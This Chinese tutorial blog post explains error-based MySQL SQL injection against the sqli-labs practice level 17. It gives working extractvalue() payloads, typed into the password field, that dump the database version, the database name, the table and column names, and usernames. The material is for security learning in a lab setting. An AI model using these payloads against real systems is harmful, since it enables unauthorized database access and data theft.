MySQL手注之报错注入

报错注入:

指在页面中没有一个合适的数据返回点的情况下,利用mysql函数的报错来创造一个显位的注入。先来了解一下报错注入常用的函数

XML:指可扩展标记语言被设计用来传输和存储数据。

concat:返回结果为连接参数产⽣的字符串

报错注入常用的函数:

extractvalue():对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第二个参数xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。 

updataexml()

geometrycollection() :

floor() :

multipoint() 

polygon() 

exp() 

首先看一下源码:

表单源码

 

 

这里使用check_input来判断用户输入

 

 

验证用户名 和密码是否输入

 

 验证 uname用户输入的用户名是否存在

 

 

接受用户输入的新密码,并将新 密码赋值给 passwd

 

我们只需要在 已知用户名的情况下 进行密码的修改,则在要修改密码的地方就是我们要进行报错注入的地方。

 

 

 

下面进入靶场演练,这里用的是sqli-labs的17关

 利用extractvalue()演练

 

 寻找一个已知的用户名 这里为admin 

 

 

爆数据库版本 

在密码框输: xxx' and extractvalue(1,concat(0x7e,(select @@version),0x7e))#

要先随便输入一个参数让语句闭合,从而执行我们想要查询的语句,如下就爆出数据库的版本为5.5.53 则可以替换任何你想查询的数据。

 

爆数据库名称

 

 这里将@@version替换成了database() 爆出 数据库名称

 

 

爆表名

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#

这里 爆出许多表 显然users 是我们感兴趣的

 

 

 

 

爆列名

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e))#

 

 

 

爆数据

 

and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))#

 

 

 

 

 

posted @ 2020-09-23 20:13  二十四、  阅读(194)  评论(0编辑  收藏  举报